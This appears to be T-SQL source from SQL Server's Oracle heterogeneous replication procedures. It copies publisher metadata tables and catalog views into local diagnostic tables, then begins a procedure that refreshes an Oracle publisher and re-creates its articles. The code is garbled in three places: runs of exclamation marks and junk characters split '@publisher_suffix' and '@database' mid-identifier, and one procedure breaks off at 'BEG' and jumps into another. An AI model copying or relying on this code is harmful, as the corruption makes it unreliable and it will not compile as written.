    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT PUBLISHED_OWNER,PUBLISHED_TABLE,PUBLISHED_TABLEID,PUBLISHED_ARTICLEID,PUBLISHED_LOGINSTANCE,PUBLISHED_ARTICLEINSTANCE,PUBLISHED_LOGDROPPENDING,PUBLISHED_ARTICLEDROPPENDING FROM HREPL_PUBLISHEDTABLES'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_PUBLISHEDTABLES_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_PUBLISHEDTABLES',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_PUBLISHER
    SELECT @InsColumnList    = 'Publisher_GUID,Publisher_Name,Publisher_ID,Publisher_PollInProcess,Publisher_CurrentPollid,Publisher_LSN,Publisher_HasChanges,Publisher_SyncInits,Publisher_SyncDones,Publisher_RowCntValidations,Publisher_TableChanges,Publisher_InReconciliation,Publisher_TracerTokens,Publisher_XactSetEnabled,Publisher_XactSetBeginTime,Publisher_XactSetInterval,Publisher_Timestamp'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT Publisher_GUID,Publisher_Name,Publisher_ID,Publisher_PollInProcess,Publisher_CurrentPollid,Publisher_LSN,Publisher_HasChanges,Publisher_SyncInits,Publisher_SyncDones,Publisher_RowCntValidations,Publisher_TableChanges,Publisher_InReconciliation,Publisher_TracerTokens,Publisher_XactSetEnabled,Publisher_XactSetBeginTime,Publisher_XactSetInterval,Publisher_Timestamp FROM HREPL_PUBLISHER'')' 
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_PUBLISHER_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_PUBLISHER',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 

    -- Populate #HREPL_DISTRIBUTOR
    SELECT @InsColumnList    = 'DISTRIBUTOR_PUBLISHERNAME,DISTRIBUTOR_DISTRIBUTORNAME,DISTRIBUTOR_DISTRIBUTIONDB,DISTRIBUTOR_PRODUCTVERSION,DISTRIBUTOR_STATUS'		
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT DISTRIBUTOR_PUBLISHERNAME,DISTRIBUTOR_DISTRIBUTORNAME,DISTRIBUTOR_DISTRIBUTIONDB,DISTRIBUTOR_PRODUCTVERSION,DISTRIBUTOR_STATUS FROM HREPL_DISTRIBUTOR'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_DISTRIBUTOR_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_DISTRIBUTOR',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_XACTSETJOB
    SELECT @InsColumnList    = 'XACTSETJOB_ENABLED,XACTSETJOB_INTERVAL,XACTSETJOB_THRESHOLD,XACTSETJOB_LRINTERVAL,XACTSETJOB_LRTHRESHOLD,XACTSETJOB_WHAT,XACTSETJOB_LRISACTIVE,XACTSETJOB_INACTIVITYCOUNT'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT XACTSETJOB_ENABLED,XACTSETJOB_INTERVAL,XACTSETJOB_THRESHOLD,XACTSETJOB_LRINTERVAL,XACTSETJOB_LRTHRESHOLD,XACTSETJOB_WHAT,XACTSETJOB_LRISACTIVE,XACTSETJOB_INACTIVITYCOUNT FROM HREPL_XACTSETJOB'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_XACTSETJOB_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_XACTSETJOB',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_SCHEMAFILTER
    SELECT @InsColumnList    = 'SCHEMAFILTER_NAME'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT SCHEMAFILTER_NAME FROM HREPL_SCHEMAFILTER'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_SCHEMAFILTER_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_SCHEMAFILTER',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_MUTEX
    SELECT @InsColumnList    = 'MUTEX_LOCK'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT * FROM HREPL_MUTEX'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_MUTEX_' + @publishe!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(v}/r_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_MUTEX',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_CHANGES
    SELECT @InsColumnList    = 'CHANGECOUNT'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT CHANGECOUNT FROM HREPL_CHANGES'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_CHANGES_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_CHANGES',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #HREPL_VERSION
    SELECT @InsColumnList    = 'SQLSERVERVERSION'
    SELECT @SelectColumnList = '*'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT SQLSERVERVERSION FROM HREPL_VERSION'')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_VERSION_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_VERSION',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database
					
    -- Populate #ALL_VIEWS
    SELECT @InsColumnList    = 'VIEW_NAME, TEXT'
    SELECT @SelectColumnList = 'VIEW_NAME, TEXT'
    SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT VIEW_NAME, TEXT FROM ALL_VIEWS WHERE OWNER = USER AND VIEW_NAME LIKE ''''HREPL_%'''''')'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_ALL_VIEWS_' + @publisher_suffix)
    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#ALL_VIEWS',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #ALL_TRIGGERS
    IF @publisher_version LIKE N'8.%'
    BEGIN 
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT TRIGGER_NAME, TRIGGER_TYPE, TRIGGERING_EVENT, TABLE_OWNER, NULL AS BASE_OBJECT_TYPE, TABLE_NAME, STATUS, NULL AS ACTION_TYPE, TRIGGER_BODY FROM ALL_TRIGGERS WHERE OWNER = USER AND TRIGGER_NAME LIKE ''''HREPL_%'''''')'
    END
    ELSE
    BEGIN
     	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT TRIGGER_NAME, TRIGGER_TYPE, TRIGGERING_EVENT, TABLE_OWNER, BASE_OBJECT_TYPE, TABLE_NAME, STATUS, ACTION_TYPE, TRIGGER_BODY FROM ALL_TRIGGERS WHERE OWNER = USER AND TRIGGER_NAME LIKE ''''HREPL_%'''''')'
    END
    SELECT @InsColumnList    = 'TRIGGER_NAME, TRIGGER_TYPE, TRIGGERING_EVENT, TABLE_OWNER, BASE_OBJECT_TYPE, TABLE_NAME, STATUS, ACTION_TYPE, TRIGGER_BODY'   
    SELECT @SelectColumnList = 'TRIGGER_NAME, TRIGGER_TYPE, TRIGGERING_EVENT, TABLE_OWNER, BASE_OBJECT_TYPE, TABLE_NAME, STATUS, ACTION_TYPE, TRIGGER_BODY' 
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_ALL_TRIGGERS_' + @publisher_suffix)
	    
    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#ALL_TRIGGERS',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
    -- Populate #ALL_INDEXES
    IF @publisher_version LIKE N'8.%'
    BEGIN 
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT INDEX_NAME, INDEX_TYPE, TABLE_NAME, UNIQUENESS, TABLESPACE_NAME, INITIAL_EXTENT, NEXT_EXTENT, MIN_EXTENTS, MAX_EXTENTS, PCT_INCREASE, PCT_THRESHOLD, INCLUDE_COLUMN, PCT_FREE, LOGGING, DISTINCT_KEYS, STATUS, NUM_ROWS, SAMPLE_SIZE, LAST_ANALYZED, DEGREE, NULL AS USER_STATS, NULL AS PCT_DIRECT_ACCESS, NULL AS JOIN_INDEX FROM ALL_INDEXES WHERE OWNER = USER AND TABLE_NAME LIKE ''''HREPL_%'''''')'
    END
    ELSE
    BEGIN
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT INDEX_NAME, INDEX_TYPE, TABLE_NAME, UNIQUENESS, TABLESPACE_NAME, INITIAL_EXTENT, NEXT_EXTENT, MIN_EXTENTS, MAX_EXTENTS, PCT_INCREASE, PCT_THRESHOLD, INCLUDE_COLUMN, PCT_FREE, LOGGING, DISTINCT_KEYS, STATUS, NUM_ROWS, SAMPLE_SIZE, LAST_ANALYZED, DEGREE, USER_STATS, PCT_DIRECT_ACCESS, JOIN_INDEX FROM ALL_INDEXES WHERE OWNER = USER AND TABLE_NAME LIKE ''''HREPL_%'''''')'
    END
    SELECT @InsColumnList    = 'INDEX_NAME, INDEX_TYPE, TABLE_NAME, UNIQUENESS, TABLESPACE_NAME, INITIAL_EXTENT, NEXT_EXTENT, MIN_EXTENTS, MAX_EXTENTS, PCT_INCREASE, PCT_THRESHOLD, INCLUDE_COLUMN, PCT_FREE, LOGGING, DISTINCT_KEYS, STATUS, NUM_ROWS, SAMPLE_SIZE, LAST_ANALYZED, DEGREE, USER_STATS, PCT_DIRECT_ACCESS, JOIN_INDEX'    
    SELECT @SelectColumnList = 'INDEX_NAME, INDEX_TYPE, TABLE_NAME, UNIQUENESS, TABLESPACE_NAME, INITIAL_EXTENT, NEXT_EXTENT, MIN_EXTENTS, MAX_EXTENTS, PCT_INCREASE, PCT_THRESHOLD, INCLUDE_COLUMN, PCT_FREE, LOGGING, DISTINCT_KEYS, STATUS, NUM_ROWS, SAMPLE_SIZE, LAST_ANALYZED, DEGREE, USER_STATS, PCT_DIRECT_ACCESS, JOIN_INDEX' 
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_ALL_INDEXES_' + @publisher_suffix)

    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#ALL_INDEXES',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database
					
    -- Populate #ALL_CONSTRAINTS
    IF @publisher_version LIKE N'8.%'
    BEGIN 
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT OWNER, CONSTRAINT_NAME, CONSTRAINT_TYPE, TABLE_NAME, SEARCH_CONDITION, R_OWNER, R_CONSTRAINT_NAME, NULL AS DELETE_RULE, STATUS, DEFERRABLE, DEFERRED, VALIDATED, GENERATED, BAD, NULL AS RELY, LAST_CHANGE, NULL AS INDEX_OWNER, NULL AS INDEX_NAME, NULL AS INVALID, NULL AS VIEW_RELATED FROM ALL_CONSTRAINTS WHERE OWNER = USER AND TABLE_NAME LIKE ''''HREPL_%'''''')'
    END
    ELSE
    BEGIN
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT OWNER, CONSTRAINT_NAME, CONSTRAINT_TYPE, TABLE_NAME, SEARCH_CONDITION, R_OWNER, R_CONSTRAINT_NAME, DELETE_RULE, STATUS, DEFERRABLE, DEFERRED, VALIDATED, GENERATED, BAD, RELY, LAST_CHANGE, INDEX_OWNER, INDEX_NAME, INVALID, VIEW_RELATED FROM ALL_CONSTRAINTS WHERE OWNER = USER AND TABLE_NAME LIKE ''''HREPL_%'''''')'
    END
    SELECT @InsColumnList    = 'OWNER, CONSTRAINT_NAME, CONSTRAINT_TYPE, TABLE_NAME, SEARCH_CONDITION, R_OWNER, R_CONSTRAINT_NAME, DELETE_RULE, STATUS, DEFERRABLE, DEFERRED, VALIDATED, GENERATED, BAD, RELY, LAST_CHANGE, INDEX_OWNER, INDEX_NAME, INVALID, VIEW_RELATED' 
    SELECT @SelectColumnList = 'OWNER, CONSTRAINT_NAME, CONSTRAINT_TYPE, TABLE_NAME, SEARCH_CONDITION, R_OWNER, R_CONSTRAINT_NAME, DELETE_RULE, STATUS, DEFERRABLE, DEFERRED, VALIDATED, GENERATED, BAD, RELY, LAST_CHANGE, INDEX_OWNER, INDEX_NAME, INVALID, VIEW_RELATED' 
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_ALL_CONSTRAINTS_' + @publisher_suffix)

    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#ALL_CONSTRAINTS',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@dat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(qXv}/abase			= @database
					
    -- Populate #ALL_OBJECTS
    IF @publisher_version LIKE N'8.%'
    BEGIN 
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, NULL AS SECONDARY FROM ALL_OBJECTS WHERE OWNER = USER AND OBJECT_NAME LIKE ''''HREPL_%'''' UNION ALL SELECT OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, NULL AS SECONDARY FROM ALL_OBJECTS O, HREPL_PUBLISHEDTABLES T WHERE O.OWNER = T.PUBLISHED_OWNER AND O.OBJECT_NAME = T.PUBLISHED_TABLE'')'
    END
    ELSE
    BEGIN
    	SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, SECONDARY FROM ALL_OBJECTS WHERE OWNER = USER AND OBJECT_NAME LIKE ''''HREPL_%'''' UNION ALL SELECT OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, SECONDARY FROM ALL_OBJECTS O, HREPL_PUBLISHEDTABLES T WHERE O.OWNER = T.PUBLISHED_OWNER AND O.OBJECT_NAME = T.PUBLISHED_TABLE'')'
    END
    SELECT @InsColumnList    = 'OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, SECONDARY'
    SELECT @SelectColumnList = 'OWNER, OBJECT_NAME, OBJECT_TYPE, CREATED, LAST_DDL_TIME, TIMESTAMP, STATUS, TEMPORARY, GENERATED, SECONDARY'
    SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename('HREPL_ALL_OBJECTS_' + @publisher_suffix)

    EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#ALL_OBJECTS',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database
			
    -- Determine the names of the article log tables
    SELECT @InsColumnList    = 'TABLE_NAME'
    SELECT @SelectColumnList = '*'

    TRUNCATE TABLE #hquery
    INSERT INTO #hquery(cmd) VALUES ('SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER = USER AND TABLE_NAME LIKE ''HREPL_ARTICLE%LOG%''')

    EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#HREPL_LOGTABLES',
					@InsColumnList		= @InsColumnList

    -- Populate the article log tables (meta data columns only)
    SELECT @InsColumnList    = 'HREPL_SEQ, HREPL_STMT, HREPL_OPERATION, HREPL_POLLID, HREPL_ENTRYTIME'
    SELECT @SelectColumnList = '*'

    DECLARE @TableName varchar(30)
    DECLARE hC  CURSOR LOCAL FAST_FORWARD FOR
        SELECT TABLE_NAME FROM #HREPL_LOGTABLES
    OPEN hC
    FETCH hC INTO @TableName
    WHILE (@@fetch_status <> -1)
    BEGIN
        -- Populate #HREPL_ARTICLELOG table
        TRUNCATE TABLE #HREPL_ARTICLELOG

        SELECT @query            = 'INSERT INTO #hquery(cmd) VALUES (''SELECT HREPL_SEQ, HREPL_STMT, HREPL_OPERATION, HREPL_POLLID, HREPL_ENTRYTIME FROM ' + sys.fn_replreplacesinglequote(@TableName) + ''')'
        SELECT @LocalTableName   = quotename(@database) +  N'.dbo.' + quotename(@TableName + N'_' + @publisher_suffix)
        
        EXEC @retcode = sp_MSrepl_get_Oracle_publisher_table 
					@query			    = @query,
					@SelectColumnList	= @SelectColumnList,
					@temptablename		= '#HREPL_ARTICLELOG',
					@InsColumnList		= @InsColumnList,
					@LocalTableName     = @LocalTableName,
					@publisher          = @publisher,
					@database			= @database 
					
        FETCH hC INTO @TableName
    END
    CLOSE hC
    DEALLOCATE hC
    
    -----------------------------------------------------------------
    --  Drop Temp tables
    -----------------------------------------------------------------
    DROP TABLE #ALL_OBJECTS
    DROP TABLE #ALL_CONSTRAINTS
    DROP TABLE #ALL_INDEXES
    DROP TABLE #ALL_VIEWS
    DROP TABLE #ALL_TRIGGERS
    DROP TABLE #HREPL_ARTICLELOG
    DROP TABLE #HREPL_VERSION
    DROP TABLE #HREPL_CHANGES
    DROP TABLE #HREPL_SCHEMAFILTER
    DROP TABLE #HREPL_XACTSETJOB
    DROP TABLE #HREPL_DISTRIBUTOR
    DROP TABLE #HREPL_PUBLISHER
    DROP TABLE #HREPL_PUBLISHEDTABLES
    DROP TABLE #HREPL_POLL       
    DROP TABLE #HREPL_EVENT        

	-- Gather the column information for the publisher's published articles
    CREATE TABLE #publishercolumns
    (
        name            sysname collate database_default,
        column_ordinal  int,
        type            sysname collate database_default,
        length          int,
        prec            int,
        scale           int,
        isnullable      bit,
        iscaptured      bit
    )

    CREATE TABLE #indexes
    (
        index_name      nvarchar(30),
        index_owner     nvarchar(30),
        uniqueness      nvarchar(11),
        column_name     nvarchar(30),
        column_position int,
        index_status    nvarchar(8)
    )

    CREATE TABLE #constraints
    (
        constraint_name nvarchar(30),
        constraint_type nchar(1),
        table_owner     nvarchar(30),
        table_name      nvarchar(30),
        index_owner     nvarchar(30),
        index_name      nvarchar(30),
        column_name     nvarchar(30),
        column_position int,
        validated       nvarchar(13),
        cons_status     nvarchar(8),
        idx_status      nvarchar(8)     
    )
    
    DECLARE @source_owner sysname
    DECLARE @source_table sysname
    DECLARE hC  CURSOR LOCAL FAST_FORWARD FOR 
        SELECT art.source_owner, art.source_object FROM MSarticles art, master.dbo.sysservers sys
        WHERE art.publisher_id = sys.srvid
          AND sys.srvname = @publisher
    OPEN hC
    FETCH hC INTO @source_owner, @source_table
    WHILE (@@fetch_status <> -1)
    BEGIN
        -- Populate the metadata tables
        EXEC @retcode = sys.sp_ORAgetcolumndata @owner          = @source_owner,
                                                @tablename      = @source_table,
                                                @publisher      = @publisher,
                                                @fordiagnosis   = 1
        IF @retcode != 0 OR @@error != 0 
        BEGIN
            SELECT @cmd = N'Query of publisher ' + @publisher + N' to get column data for table ' +
                          @source_owner + N'.' + @source_table + N' failed. '
            EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
            SELECT @retcode = 0
        END 
                                             
        FETCH hC INTO @source_owner, @source_table
    END
    CLOSE hC
    DEALLOCATE hC
    
    SELECT @cmd = N'DROP TABLE ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHconstraints_' + sys.fn_replreplacesinglequote(@publisher_suffix))
    BEGIN TRY
        EXEC @retcode = sys.sp_executesql @cmd
    END TRY    
    BEGIN CATCH
        SELECT @retcode = 0
    END CATCH

    SELECT @select = N'SELECT * INTO ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHconstraints_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' FROM #constraints'
    EXEC @retcode = sys.sp_executesql @select
    IF @retcode != 0 OR @@error != 0 
    BEGIN
		SELECT @cmd = N'SELECT from table #constraints to populate table ' + sys.fn_replreplacesinglequote(@database) +
		              N'.dbo.' + quotename('HREPL_IHconstraints_' + sys.fn_replreplacesinglequote(@publisher_suffix)) + N' failed: Query = ' + @select 
		EXEC sys.sp_log_repository_message N'Failure', @cmd, @database
    END
    ELSE
    BEGIN
		EXEC sys.sp_log_repository_message N'Success', @select, @database
    END
    
    SELECT @cmd = N'DROP TABLE ' + quotename(@database) +  N'.dbo.' + quotename('HREPL_IHindexes_' + sys.fn_replreplacesinglequote(@publisher_suffix))
    BEGIN TRY
        EXEC @retcode = sys.sp_executesql @cmd
    END TRY    
    BEG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('Fv
create procedure sys.sp_MSrepl_refresh_heterogeneous_publisher
(
    @publisher					sysname,
    @publisher_type				sysname
)
as
begin
    set nocount on

	declare @retcode int
	declare @cmd nvarchar(4000)
 	declare @article sysname
 	declare @filter_clause nvarchar(4000)
	declare @publisher_id int
    declare @distributortimestamp datetime
    declare @publisher_guid uniqueidentifier
    declare @distribution_db sysname
    declare @security_mode int
    declare @login sysname
    declare @password nvarchar(524)
    declare @xact_seqno varbinary(16)
    declare @OptimizeTrigger bit
	declare @RecreateTriggers bit
    declare @XCALL bit
	declare @artcnt int
	declare @owner sysname
	declare @table_name sysname
	declare @table_id int
	declare @article_view nvarchar(255)
	declare @columns binary(128)
	declare @publishedcolumns binary(128)
	declare @repl_freq int
	declare @instance_id int
	declare @article_id int
	declare @publication_id int
	declare @upd_cmd nvarchar(255)
	declare @del_cmd nvarchar(255)
	declare @user_name sysname
	declare @type tinyint
	declare @status tinyint
	declare @version sysname
  
    -- Security Check: require sysadmin
    if (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1)
        raiserror(21610,16,-1,@publisher) 
        return (1)
    end

    -- Query msdb for current publisher information.
    select @distribution_db = distribution_db,
           @security_mode = security_mode,
           @login = login,
           @password = password
    from msdb.dbo.MSdistpublishers
	where UPPER(name collate database_default) = UPPER(@publisher)
      and distribution_db = DB_NAME()    
    if @@error <> 0
    begin
        raiserror(21607,16,-1)
        raiserror(21610,16,-1,@publisher) 
        return (1)
    end
    
    exec @retcode = sys.sp_MSrepldecrypt @password output
    if @@error <> 0 OR @retcode <> 0
    begin
        raiserror(21607,16,-1)
        raiserror(21610,16,-1,@publisher) 
        return (1)
    end

    -- Obtain Publisher's server id
    select @publisher_id = srvid 
    from master.dbo.sysservers
    where upper(srvname collate database_default) = upper(@publisher) collate database_default
    if @@error <> 0
    begin 
        raiserror(21607,16,-1)
        raiserror(21610,16,-1,@publisher) 
        return (1)
    end
    
    -- Obtain the last committed transaction for the publisher from MSrepl_transactions
    set @xact_seqno = NULL
    set @xact_seqno = (
        select TOP 1 xact_seqno
        from MSrepl_transactions t, MSpublisher_databases d
        where t.publisher_database_id = d.id
          and d.publisher_id = @publisher_id
        order by xact_seqno DESC)
    if @@error <> 0
    begin
        raiserror(21607,16,-1)
        raiserror(21610,16,-1,@publisher) 
        return (1)
    end

    -- Setup the Oracle publisher with current code.
    set @distributortimestamp = GETDATE()
    set @publisher_guid = NEWID()

    exec @retcode = sys.sp_ORAaddpublisher
						@publisher		= @publisher,
						@dist_db		= @distribution_db,
						@security_mode	= @security_mode,
						@remotelogin	= @login,
						@remotepassword	= @password,
						@distributortimestamp	= @distributortimestamp,
						@publisher_guid	= @publisher_guid

    if @@error <> 0 OR @retcode <> 0
    begin
        raiserror(21603,16,-1,@publisher) 
        return (1)
    end
    
    if @xact_seqno IS NULL
    begin
        set @xact_seqno = 0x00000000000000000000
    end
    
    -- Define remote query support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	--  Update publisher entry in HREPL_Publisher to reflect current xact_seqno.
	insert into #hquery (cmd) values (N'UPDATE HREPL_PUBLISHER SET PUBLISHER_LSN = ')
	insert into #hquery (cmd) values (N'''' + RIGHT(LEFT(sys.fn_varbintohexstr(@xact_seqno), 22), 20) + N'''')
	
	exec @retcode = sys.sp_IHquery @publisher
    if @@error <> 0 OR @retcode <> 0
	begin
		raiserror (21625, 16, -1, @publisher)
		raiserror (21603, 16, -1, @publisher) 
		return (1)
	end
	
	drop table #hquery
	
    -- Call sp_ORAaddarticle for each published article to create meta data entries
    -- for the articles at the publisher and to generate triggers and article log tables.
	declare #hArticles cursor local FAST_FORWARD for
        -- Get the article information.
        select iha.name,	
			iha.article_id,
			iha.publication_id,
			ihpt.name,
			ihpt.owner,
			iha.type,
			iha.status,
			iha.table_id,
			iha.article_view,
			iha.upd_cmd,
			iha.del_cmd,
			iha.instance_id,
			iha.filter_clause			
        from	IHarticles iha,
    		IHpublishertables ihpt
        where	iha.table_id		= ihpt.table_id
          and	iha.publisher_id	= ihpt.publisher_id
          and	ihpt.publisher_id	= @publisher_id

	open #hArticles

	fetch #hArticles into @article,
			@article_id,
			@publication_id,
			@table_name,
			@user_name,
			@type,
			@status,
			@table_id,
			@article_view,
			@upd_cmd,
			@del_cmd,
			@instance_id,
			@filter_clause		

	while @@FETCH_STATUS != -1
	begin
	
        select @repl_freq = repl_freq
        from IHpublications
        where pubid = @publication_id
	
        -- Generate bitmap of ordinal columns
        execute @columns = sys.fn_IHarticle_columns
        	@article_id,
        	@table_id,
        	@publisher_id
        if @@error <> 0
        begin
        	raiserror (21775, 11, -1, @article)
        	raiserror (21603, 16, -1, @publisher) 
        	return (1)
        end
    
        if (@publisher_type = N'ORACLE') AND (@repl_freq = 0)
        begin
        	-- If this is an ORACLE publisher and the article belongs to a transactional publication,
        	-- Generate the bitmap of published columns to be used to generate the trigger and article
        	-- log table
        	execute @publishedcolumns = sys.fn_IHpublished_columns
        	    @table_id,
        	    @publisher_id
        	if @@error <> 0
        	begin
        	    raiserror (21776, 11, -1, @article)
        	    raiserror (21603, 16, -1, @publisher) 
        	    return (1)
        	end
        end
        else
        begin
        	-- If this is an ORACLE GATEWAY publisher or the article belongs to a snapshot publication,
        	-- set the publish column bitmask to the article columns bitmask.
        	select @publishedcolumns = @columns
        end
		
        set @OptimizeTrigger = 0
        set @RecreateTriggers = 0
        set @XCALL = 0
        
        if @repl_freq = 0
        begin
        	-- If publisher type is ORACLE GATEWAY, for transactional publications,
        	-- always regenerate triggers, even if they already exist, and generate
        	-- with optimal performance
        	if @publisher_type = N'ORACLE GATEWAY'
        	begin
        	    set @OptimizeTrigger = 1
        	    set @RecreateTriggers = 1
        	    if upper(@upd_cmd) like 'XCALL%' or
        	       upper(@del_cmd) like 'XCALL%' or
        	       -- all filtered columns must be captured in the trigger and placed
        	       -- in the article log if a filter clause is specified for the article
        	       DATALENGTH(@filter_clause) > 0	
        	       set @XCALL = 1
        	end	 
        end	
       
        -- Create the publisher objects for the article
        execute @retcode = sys.sp_ORAaddarticle
        	@owner             = @user_name
        	,@tablename         = @table_name
        	,@publisher         = @publisher
        	,@table_id          = @table_id
        	,@OptimizeTrigger   = @OptimizeTrigger
        	,@RecreateTriggers  = @RecreateTriggers
        	,@XCALL             = @XCALL				
        	,@article_view      = @article_view
        	,@columns           = @columns
        	,@publishedcolumns  = @publishedcolumns
